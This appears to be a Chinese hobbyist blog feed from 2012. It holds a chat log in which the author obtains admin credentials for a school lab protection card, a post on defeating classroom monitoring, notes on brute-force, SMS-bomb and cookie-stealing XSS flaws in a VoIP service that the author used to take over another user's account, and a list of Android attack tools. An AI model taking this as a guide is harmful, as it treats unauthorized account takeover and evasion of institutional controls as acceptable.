<p><div>17:13:15</div><br></p>
<p><div>对方IP: 59.174.76.179 — 湖北省武汉市 (洪山区)电信 QQ2013 Beta1 体验版(5311)</div><br></p>
<p><tr id="itemId_12" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:13:18</div><br></p>
<p><div><strong>额</strong></div><br></p>
<p><tr id="itemId_13" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:13:22</div><br></p>
<p><div><strong>怎么弄啊</strong></div><br></p>
<p><tr id="itemId_14" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:13:35</div><br></p>
<p><div>您开机，到开机界面，按f3，把密文告诉我们</div><br></p>
<p><tr id="itemId_15" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:14:55</div><br></p>
<p><div><strong>好了</strong></div><br></p>
<p><tr id="itemId_16" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:15:04</div><br></p>
<p><div>？</div><br></p>
<p><tr id="itemId_17" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:15:18</div><br></p>
<p><div><strong>697 856 767 669 738 739 767 848</strong></div><br></p>
<p><tr id="itemId_18" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:15:31</div><br></p>
<p><div><strong>是这个吧</strong></div><br></p>
<p><tr id="itemId_19" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:16:03</div><br></p>
<p><div>oseasy</div><br></p>
<p><tr id="itemId_20" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:16:05</div><br></p>
<p><div>是的</div><br></p>
<p><tr id="itemId_21" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:16:12</div><br></p>
<p><div>密码是oseasy</div><br></p>
<p><tr id="itemId_22" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:16:28</div><br></p>
<p><div><strong>用户是那个sys么</strong></div><br></p>
<p><tr id="itemId_23" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:16:35</div><br></p>
<p><div>是的</div><br></p>
<p><tr id="itemId_24" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:16:57</div><br></p>
<p><div><strong>然后是开机的时候卸载还是xp里面卸载啊</strong></div><br></p>
<p><tr id="itemId_25" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:17:23</div><br></p>
<p><div>您这边开机之后有几个系统？</div><br></p>
<p><tr id="itemId_26" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:17:58</div><br></p>
<p><div><strong>2个</strong></div><br></p>
<p><tr id="itemId_27" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:18:46</div><br></p>
<p><div><strong>xp1和xp2，想重装一下，弄不掉这个</strong></div><br></p>
<p><tr id="itemId_28" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:20:37</div><br></p>
<p><div>开机界面，f10 ，输入用户名和密码，卸载，执行不保留卸载，两个系统都没了</div><br></p>
<p><tr id="itemId_29" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:21:22</div><br></p>
<p><div><strong>以后就不会出现这个了吧</strong></div><br></p>
<p><tr id="itemId_30" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:21:46</div><br></p>
<p><div>稍等一会</div><br></p>
<p><tr id="itemId_31" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:21:55</div><br></p>
<p><div>您在那个界面上，看一下关于</div><br></p>
<p><tr id="itemId_32" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:22:02</div><br></p>
<p><div>有没有硬件版本号？</div><br></p>
<p><tr id="itemId_33" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:23:30</div><br></p>
<p><div><strong>没有吧</strong></div><br><br><br><br><br>现在密码到手，方法也有，回去就给卸了，等会说下监控的事。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>今天上软件测试实在无聊，就顺手想把保护卡和监控给弄下来。</p>
<p>这里先说保护卡吧。 保护卡是噢易的，比较繁琐，测试了一会都没什么用。</p>
<p>开机f3找到一个用户密码：sys 697 856 767 669 738 739 767 848 不知道是加密的，打了]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[凌波多媒体教学软件反监控]]></title>
    <link href="http://doubles.me/2012/12/09/195/"/>
    <id>http://doubles.me/2012/12/09/195/</id>
    <published>2012-12-09T13:54:40.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>机房里看到这个，一般都是分teacher和student端的，teacher端控制student，不过很少设置密码的。</p>
<p>无非就是把本机的student卸载掉，然后安装teacher端就可以实现反监控。</p>
<p>查看一下是凌波6.6.0.0的，下载同版本的破解版，先卸载掉再安装上teacher端，ko。</p>
<p>由于破解没弄好，他破解后，我原本想锁翔哥屏的，结果全部电脑都被锁了，吓到一下。</p>
<p>然后老师给出了解释，学校最近查的比较严，可能是监控到很多人玩游戏，就提醒一下。</p>
<p>这老师，我爱你。学校确实查的挺严的。下回我把图给补上好了。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>机房里看到这个，一般都是分teacher和student端的，teacher端控制student，不过很少设置密码的。</p>
<p>无非就是把本机的student卸载掉，然后安装teacher端就可以实现反监控。</p>
<p>查看一下是凌波6.6.0.0的，下载同版本的]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[wooyun注册成功啦]]></title>
    <link href="http://doubles.me/2012/11/26/190/"/>
    <id>http://doubles.me/2012/11/26/190/</id>
    <published>2012-11-26T08:31:47.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>熬夜弄的有信漏洞，注册来啦。哄哄，大家别笑啊。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121126183029.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121126183029.png" alt="" title="QQ20121126183029"></a></p>
<p>&nbsp;</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>熬夜弄的有信漏洞，注册来啦。哄哄，大家别笑啊。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121126183029.png" target="_blank" rel="external"><img s]]>
    </summary>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[关棍节来晒单啦]]></title>
    <link href="http://doubles.me/2012/11/25/185/"/>
    <id>http://doubles.me/2012/11/25/185/</id>
    <published>2012-11-25T08:40:52.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>最早的14号，最晚的25号。如果算上那个换的话，今天才发过去。还一张。</p>
<p>发北京真贵啊，21块。你妹的，发过来才8块。<br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_173804.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_173804-225x300.jpg" alt="" title="IMG_20121125_173804"></a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_173743.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_173743-225x300.jpg" alt="" title="IMG_20121125_173743"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_173752.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_173752-225x300.jpg" alt="" title="IMG_20121125_173752"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>最早的14号，最晚的25号。如果算上那个换的话，今天才发过去。还一张。</p>
<p>发北京真贵啊，21块。你妹的，发过来才8块。<br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_]]>
    </summary>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[中奖啦，DNSPOD的笔记本]]></title>
    <link href="http://doubles.me/2012/11/25/173/"/>
    <id>http://doubles.me/2012/11/25/173/</id>
    <published>2012-11-25T08:27:22.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>确切的说，这是我这辈子第一次网上中到一个实物的奖品。</p>
<p>泪牛满面啊。 10月30号买了个域名，还是info的，4块钱，godaddy解析不上，转dnspod了。然后11月说可以每天抽奖。</p>
<p>乖乖，抽了个笔记本，还不要钱给送过来。虽然想要那个抱枕，但是很开心。支持dnspod啊。听说dnspod送老婆，是不是真得的。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_171532.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_171532-300x225.jpg" alt="" title="IMG_20121125_171532"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_171935.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_171935-300x225.jpg" alt="" title="IMG_20121125_171935"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_171653.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_171653-225x300.jpg" alt="" title="IMG_20121125_171653"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_171642.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_171642-225x300.jpg" alt="" title="IMG_20121125_171642"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_171505.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_171505-225x300.jpg" alt="" title="IMG_20121125_171505"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_171543.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/IMG_20121125_171543-300x225.jpg" alt="" title="IMG_20121125_171543"></a></p>
<p>&nbsp;</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>确切的说，这是我这辈子第一次网上中到一个实物的奖品。</p>
<p>泪牛满面啊。 10月30号买了个域名，还是info的，4块钱，godaddy解析不上，转dnspod了。然后11月说可以每天抽奖。</p>
<p>乖乖，抽了个笔记本，还不要钱给送过来。虽然想要那个抱枕，但是]]>
    </summary>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[有信网络电话漏洞集锦]]></title>
    <link href="http://doubles.me/2012/11/24/162/"/>
    <id>http://doubles.me/2012/11/24/162/</id>
    <published>2012-11-24T16:25:20.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>12点起来找漏洞伤不起啊。</p>
<p>【1.暴力破解帐号】</p>
<p>刚刚乌云看到那个微微网络电话的漏洞，就想到我用的有信，就爬起来看看。<br>有信<a href="http://www.uxin001.com" target="_blank" rel="external">http://www.uxin001.com</a><br>有信Android端默认依据手机号自动登入，默认生成一个6位数字密码，验证码不会刷新，so。<br>用户可自定义密码，或修改密码，但漏洞依然存在。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/250135292f928c9284c910a135d4dc29fcfe07fd.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/250135292f928c9284c910a135d4dc29fcfe07fd.jpg" alt="" title="250135292f928c9284c910a135d4dc29fcfe07fd"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/250135406e9ef3d5f57cf2d1f9b886c0a3f6ef88.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/250135406e9ef3d5f57cf2d1f9b886c0a3f6ef88.jpg" alt="" title="250135406e9ef3d5f57cf2d1f9b886c0a3f6ef88"></a></p>
<p>【2.有信网络电话，短信炸弹】</p>
<p>还是验证码的问题，不过这个可以对所有手机发动短信攻击。<br>测试电信（注册有信），移动，联通（未注册，第一次发送会产生默认6位数字密码完成注册），均可收到短信，无频率限制。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/15.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/15.png" alt="" title="1"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/24.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/24.png" alt="" title="2"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/33.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/33.png" alt="" title="3"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/44.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/44.png" alt="" title="4"></a>先放2个吧，好困了。时间太晚了毕竟。要是有妹纸的通讯录，嘿嘿。</p>
<p>【3.第三期了，可以无限用免费电话了】</p>
<p>后台问题反馈有xss，可以获取所有访客的cookies。然后cookies里面用户密码。。。</p>
<p>这里有个留学生的帐号。无限打电话咯。wooyun忘记传这里了。下次弄把</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>12点起来找漏洞伤不起啊。</p>
<p>【1.暴力破解帐号】</p>
<p>刚刚乌云看到那个微微网络电话的漏洞，就想到我用的有信，就爬起来看看。<br>有信<a href="http://www.uxin001.com" target="_blank" rel="exte]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Android平台下渗透测试工具集合]]></title>
    <link href="http://doubles.me/2012/11/23/160/"/>
    <id>http://doubles.me/2012/11/23/160/</id>
    <published>2012-11-23T13:26:52.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p><strong>Ad Network Detector</strong> (1.2): <a href="http://market.android.com/details?id=com.lookout.addetector" target="_blank" rel="external">http://market.android.com/details?id=com.lookout.addetector</a></p>
<p><strong>App Backup &amp; Restore</strong> (1.0.5): <a href="http://market.android.com/details?id=mobi.infolife.appbackup" target="_blank" rel="external">http://market.android.com/details?id=mobi.infolife.appbackup</a></p>
<p><strong>App Cache Cleaner</strong> (1.1.3): <a href="http://market.android.com/details?id=mobi.infolife.cache" target="_blank" rel="external">http://market.android.com/details?id=mobi.infolife.cache</a></p>
<p><strong>ARPspoof</strong>: <a href="https://github.com/robquad/Arpspoof/Arpspoof.apk/qr_code" target="_blank" rel="external">https://github.com/robquad/Arpspoof/Arpspoof.apk/qr_code</a></p>
<p><strong>CACertMan</strong> (0.0.2-20110906): <a href="http://market.android.com/details?id=info.guardianproject.cacert" target="_blank" rel="external">http://market.android.com/details?id=info.guardianproject.cacert</a></p>
<p><strong>CacheMate</strong> for Root Users Free (2.4.2): <a href="http://market.android.com/details?id=com.aac.cachemate.demo" target="_blank" rel="external">http://market.android.com/details?id=com.aac.cachemate.demo</a></p>
<p><strong>Carrier IQ Detector</strong> (1.1.1): <a href="http://market.android.com/details?id=com.lookout.carrieriqdetector" target="_blank" rel="external">http://market.android.com/details?id=com.lookout.carrieriqdetector</a></p>
<p><strong>DeuterIDE</strong> (0.5): <a href="http://market.android.com/details?id=com.didactic.DeuterIDE" target="_blank" rel="external">http://market.android.com/details?id=com.didactic.DeuterIDE</a></p>
<p><strong>Devcheats</strong> (1.2): <a href="http://market.android.com/details?id=miquelco.devcheats" target="_blank" rel="external">http://market.android.com/details?id=miquelco.devcheats</a></p>
<p><strong>DroidVPN</strong> (1.8.7c): <a href="http://market.android.com/details?id=com.aed.droidvpn" target="_blank" rel="external">http://market.android.com/details?id=com.aed.droidvpn</a></p>
<p><strong>Gibberbot</strong> (0.0.9-RC4): <a href="http://market.android.com/details?id=info.guardianproject.otr.app.im" target="_blank" rel="external">http://market.android.com/details?id=info.guardianproject.otr.app.im</a></p>
<p><strong>InfoSec Reference</strong> (40): <a href="http://market.android.com/details?id=hackers.reference.free" target="_blank" rel="external">http://market.android.com/details?id=hackers.reference.free</a></p>
<p><strong>IPv6 and More</strong> (2.1): <a href="http://market.android.com/details?id=com.tsts.ipv6" target="_blank" rel="external">http://market.android.com/details?id=com.tsts.ipv6</a></p>
<p><strong>IrcDroid</strong> (4.0.8): <a href="http://market.android.com/details?id=pl.xampear.ircdroid" target="_blank" rel="external">http://market.android.com/details?id=pl.xampear.ircdroid</a></p>
<p><strong>LUKS Manager</strong> (2.4): <a href="http://market.android.com/details?id=com.nemesis2.luksmanager" target="_blank" rel="external">http://market.android.com/details?id=com.nemesis2.luksmanager</a></p>
<p><strong>Naked Security</strong> (1.4.8.4060): <a href="http://market.android.com/details?id=com.conduit.app_a6722ad0d45240419c328b0fa48e6851.app" target="_blank" rel="external">http://market.android.com/details?id=com.conduit.app_a6722ad0d45240419c328b0fa48e6851.app</a></p>
<p><strong>NoteCipher</strong> (0.0.4.1): <a href="http://market.android.com/details?id=info.guardianproject.notepadbot" target="_blank" rel="external">http://market.android.com/details?id=info.guardianproject.notepadbot</a></p>
<p><strong>ObscuraCam</strong> (2.0-RC2b): <a href="http://market.android.com/details?id=org.witness.sscphase1" target="_blank" rel="external">http://market.android.com/details?id=org.witness.sscphase1</a></p>
<p><strong>OpenVPN</strong> Settings (0.4.11): <a href="http://market.android.com/details?id=de.schaeuffelhut.android.openvpn" target="_blank" rel="external">http://market.android.com/details?id=de.schaeuffelhut.android.openvpn</a></p>
<p><strong>Packet Injection</strong> (1.2): <a href="http://market.android.com/details?id=ot.semba.packetinjection" target="_blank" rel="external">http://market.android.com/details?id=ot.semba.packetinjection</a></p>
<p><strong>Pamn IP Scanner (nmap</strong> <a href="https://play.google.com/store/apps/details?id=com.wjholden.nmap" target="_blank" rel="external">https://play.google.com/store/apps/details?id=com.wjholden.nmap</a></p>
<p><strong>Pastebin for Android</strong> (3.5): <a href="http://market.android.com/details?id=com.jmz.pastedroidapp" target="_blank" rel="external">http://market.android.com/details?id=com.jmz.pastedroidapp</a></p>
<p><strong>Prey</strong> (0.5): <a href="http://market.android.com/details?id=com.prey" target="_blank" rel="external">http://market.android.com/details?id=com.prey</a></p>
<p><strong>USB Device Info</strong> (0.0.5): <a href="http://market.android.com/details?id=aws.apps.usbDeviceEnumerator" target="_blank" rel="external">http://market.android.com/details?id=aws.apps.usbDeviceEnumerator</a></p>
<p><strong>Vpn1Click</strong> (2.21): <a href="http://market.android.com/details?id=com.vpnoneclick.android" target="_blank" rel="external">http://market.android.com/details?id=com.vpnoneclick.android</a></p>
<p><strong>Wifi Analyzer</strong> (3.2.232): <a href="http://market.android.com/details?id=com.farproc.wifi.analyzer" target="_blank" rel="external">http://market.android.com/details?id=com.farproc.wifi.analyzer</a></p>
<p><strong>WiFi Key Recovery</strong> (0.0.8): <a href="http://market.android.com/details?id=aws.apps.wifiKeyRecovery" target="_blank" rel="external">http://market.android.com/details?id=aws.apps.wifiKeyRecovery</a></p>
<p><strong>WinExploitSMBv2</strong> (1.0): <a href="http://market.android.com/details?id=winexploitsmbv2.azelart.fr" target="_blank" rel="external">http://market.android.com/details?id=winexploitsmbv2.azelart.fr</a></p>
<p><strong>AdFree</strong> (0.8.44): <a href="http://market.android.com/details?id=com.bigtincan.android.adfree" target="_blank" rel="external">http://market.android.com/details?id=com.bigtincan.android.adfree</a></p>
<p><strong>aDownloader</strong> (1.0.8.4): <a href="http://market.android.com/details?id=com.DroiDownloader" target="_blank" rel="external">http://market.android.com/details?id=com.DroiDownloader</a></p>
<p><strong>Advanced Task Killer Free</strong> (1.9.7B92): <a href="http://market.android.com/details?id=com.rechild.advancedtaskkiller" target="_blank" rel="external">http://market.android.com/details?id=com.rechild.advancedtaskkiller</a></p>
<p><strong>AIDE</strong> (1.0.beta19): <a href="http://market.android.com/details?id=com.aide.ui" target="_blank" rel="external">http://market.android.com/details?id=com.aide.ui</a></p>
<p><strong>AndCha</strong> (1.4.0.2 2012-05-11): <a href="http://market.android.com/details?id=net.andchat" target="_blank" rel="external">http://market.android.com/details?id=net.andchat</a></p>
<p><strong>androidVNC</strong> (0.5.0): <a href="http://market.android.com/details?id=android.androidVNC" target="_blank" rel="external">http://market.android.com/details?id=android.androidVNC</a></p>
<p><strong>AndroIRC</strong> (3.3.4): <a href="http://market.android.com/details?id=com.androirc" target="_blank" rel="external">http://market.android.com/details?id=com.androirc</a></p>
<p><strong>Android File Transfer</strong> MAC <a href="http://www.android.com/filetransfer/" target="_blank" rel="external">http://www.android.com/filetransfer/</a></p>
<p><strong>android-nfc-paycardreader</strong> (taken down, cloned here) <a href="https://github.com/ciphersson/android-nfc-paycardreader" target="_blank" rel="external">https://github.com/ciphersson/android-nfc-paycardreader</a> (another backup)<a href="https://www.dropbox.com/s/3q9vxu7ioiq5i4c/thomasskora-android-nfc-paycardreader-459a9b2.zip" target="_blank" rel="external">https://www.dropbox.com/s/3q9vxu7ioiq5i4c/thomasskora-android-nfc-paycardreader-459a9b2.zip</a></p>
<p><strong>AWS for Android</strong> (1.6.0): <a href="http://market.android.com/details?id=jp.dip.kizunasoft.aws" target="_blank" rel="external">http://market.android.com/details?id=jp.dip.kizunasoft.aws</a></p>
<p><strong>BusyBox</strong> Free (8.6): <a href="http://market.android.com/details?id=stericson.busybox" target="_blank" rel="external">http://market.android.com/details?id=stericson.busybox</a></p>
<p><strong>CACertMan</strong> <a href="https://play.google.com/store/apps/details?id=info.guardianproject.cacert" target="_blank" rel="external">https://play.google.com/store/apps/details?id=info.guardianproject.cacert</a></p>
<p><strong>Conky? Widget</strong> (1.0.3): <a href="http://market.android.com/details?id=jp.masaki.TW" target="_blank" rel="external">http://market.android.com/details?id=jp.masaki.TW</a></p>
<p><strong>ConnectBot</strong> (1.7.1): <a href="http://market.android.com/details?id=org.connectbot" target="_blank" rel="external">http://market.android.com/details?id=org.connectbot</a></p>
<p><strong>Cryptroid</strong> (2.9.3): <a href="http://market.android.com/details?id=com.andy.cryptroid" target="_blank" rel="external">http://market.android.com/details?id=com.andy.cryptroid</a></p>
<p><strong>DoggCatcher</strong> (1.2.3430): <a href="http://market.android.com/details?id=com.snoggdoggler.android.applications.doggcatcher.v1_0" target="_blank" rel="external">http://market.android.com/details?id=com.snoggdoggler.android.applications.doggcatcher.v1_0</a></p>
<p><strong>droid VNC server</strong> (1.1RC0): <a href="http://market.android.com/details?id=org.onaips.vnc" target="_blank" rel="external">http://market.android.com/details?id=org.onaips.vnc</a></p>
<p><strong>DroidCAT</strong> (1.0): <a href="http://market.android.com/details?id=anant.hax.droidcat" target="_blank" rel="external">http://market.android.com/details?id=anant.hax.droidcat</a></p>
<p><strong>DroidEdit Free</strong> (1.14.8): <a href="http://market.android.com/details?id=com.aor.droidedit" target="_blank" rel="external">http://market.android.com/details?id=com.aor.droidedit</a></p>
<p><strong>DroidMote Client</strong> (2.9.1): <a href="http://market.android.com/details?id=org.videomap.droidmoteclient" target="_blank" rel="external">http://market.android.com/details?id=org.videomap.droidmoteclient</a></p>
<p><strong>DroidSheep</strong> (14):<a href="https://code.google.com/p/droidsheep/source/checkout" target="_blank" rel="external">https://code.google.com/p/droidsheep/source/checkout</a></p>
<p><strong>DroidSheep Guard</strong>:<a href="https://play.google.com/store/search?q=droidsheep+guard" target="_blank" rel="external">https://play.google.com/store/search?q=droidsheep+guard</a></p>
<p><strong>DroidWall</strong> (1.5.7): <a href="http://market.android.com/details?id=com.googlecode.droidwall.free" target="_blank" rel="external">http://market.android.com/details?id=com.googlecode.droidwall.free</a></p>
<p><strong>Dropbox</strong> (2.1.7): <a href="http://market.android.com/details?id=com.dropbox.android" target="_blank" rel="external">http://market.android.com/details?id=com.dropbox.android</a></p>
<p><strong>ElectroDroid</strong> (3.0.1): <a href="http://market.android.com/details?id=it.android.demi.elettronica" target="_blank" rel="external">http://market.android.com/details?id=it.android.demi.elettronica</a></p>
<p><strong>Enigma Simulator</strong> (1.07): <a href="http://market.android.com/details?id=uk.co.franklinheath.enigmasim" target="_blank" rel="external">http://market.android.com/details?id=uk.co.franklinheath.enigmasim</a></p>
<p><strong>FaceNiff</strong> (2.1a): <a href="http://market.android.com/details?id=net.ponury.faceniff" target="_blank" rel="external">http://market.android.com/details?id=net.ponury.faceniff</a></p>
<p><strong>Fake GPS</strong> (1.5.0): <a href="http://market.android.com/details?id=com.lexa.fakegps" target="_blank" rel="external">http://market.android.com/details?id=com.lexa.fakegps</a></p>
<p><strong>Fing - Network Tools</strong> (2.0): <a href="http://market.android.com/details?id=com.overlook.android.fing" target="_blank" rel="external">http://market.android.com/details?id=com.overlook.android.fing</a></p>
<p><strong>Firefox Beta</strong> (15.0): <a href="http://market.android.com/details?id=org.mozilla.firefox_beta" target="_blank" rel="external">http://market.android.com/details?id=org.mozilla.firefox_beta</a></p>
<p><strong>Gaug.es</strong> (1.4): <a href="http://market.android.com/details?id=com.github.mobile.gauges" target="_blank" rel="external">http://market.android.com/details?id=com.github.mobile.gauges</a></p>
<p><strong>Gibberbot</strong> <a href="https://play.google.com/store/apps/details?id=info.guardianproject.otr.app.im" target="_blank" rel="external">https://play.google.com/store/apps/details?id=info.guardianproject.otr.app.im</a></p>
<p><strong>GitHub</strong> (1.0.4): <a href="http://market.android.com/details?id=com.github.mobile" target="_blank" rel="external">http://market.android.com/details?id=com.github.mobile</a></p>
<p><strong>GooManager</strong> (2.1.1): <a href="http://market.android.com/details?id=com.s0up.goomanager" target="_blank" rel="external">http://market.android.com/details?id=com.s0up.goomanager</a></p>
<p><strong>GPS OnOff</strong> (2.1.0): <a href="http://market.android.com/details?id=com.curvefish.widgets.gpsonoff" target="_blank" rel="external">http://market.android.com/details?id=com.curvefish.widgets.gpsonoff</a></p>
<p><strong>GScript</strong> (1.1.2): <a href="http://market.android.com/details?id=nl.rogro.GScriptFull" target="_blank" rel="external">http://market.android.com/details?id=nl.rogro.GScriptFull</a></p>
<p><strong>Hack a Droid</strong> (4.2): <a href="http://market.android.com/details?id=com.firebird.hackadroid" target="_blank" rel="external">http://market.android.com/details?id=com.firebird.hackadroid</a></p>
<p><strong>Hacker’s Keyboard</strong> (v1.33): <a href="http://market.android.com/details?id=org.pocketworkstation.pckeyboard" target="_blank" rel="external">http://market.android.com/details?id=org.pocketworkstation.pckeyboard</a></p>
<p><strong>Hackers Home Pro</strong> (1.05): <a href="http://market.android.com/details?id=com.theredhatter_hackershomepro" target="_blank" rel="external">http://market.android.com/details?id=com.theredhatter_hackershomepro</a></p>
<p><strong>Hash Droid</strong> (3.1): <a href="http://market.android.com/details?id=com.hobbyone.HashDroid" target="_blank" rel="external">http://market.android.com/details?id=com.hobbyone.HashDroid</a></p>
<p><strong>Iptables</strong> (beta) <a href="https://play.google.com/store/apps/details?id=com.mgranja.iptables&amp;hl=en" target="_blank" rel="external">https://play.google.com/store/apps/details?id=com.mgranja.iptables&amp;hl=en</a></p>
<p><strong>Infosec Island</strong> (3): <a href="http://market.android.com/details?id=com.appmakr.app152726" target="_blank" rel="external">http://market.android.com/details?id=com.appmakr.app152726</a></p>
<p><strong>Irssi ConnectBot</strong> (1.7.1-irssi): <a href="http://market.android.com/details?id=org.woltage.irssiconnectbot" target="_blank" rel="external">http://market.android.com/details?id=org.woltage.irssiconnectbot</a></p>
<p><strong>IrssiNotifier</strong> (1.2): <a href="http://market.android.com/details?id=fi.iki.murgo.irssinotifier" target="_blank" rel="external">http://market.android.com/details?id=fi.iki.murgo.irssinotifier</a></p>
<p><strong>LanDroid</strong> (1.25): <a href="http://market.android.com/details?id=net.fidanov.landroid" target="_blank" rel="external">http://market.android.com/details?id=net.fidanov.landroid</a></p>
<p><strong>LauncherPro</strong> (0.8.6): <a href="http://market.android.com/details?id=com.fede.launcher" target="_blank" rel="external">http://market.android.com/details?id=com.fede.launcher</a></p>
<p><strong>LBE Privacy Guard</strong> (3.0.1): <a href="https://play.google.com/store/search?q=lbe+privacy+guard" target="_blank" rel="external">https://play.google.com/store/search?q=lbe+privacy+guard</a></p>
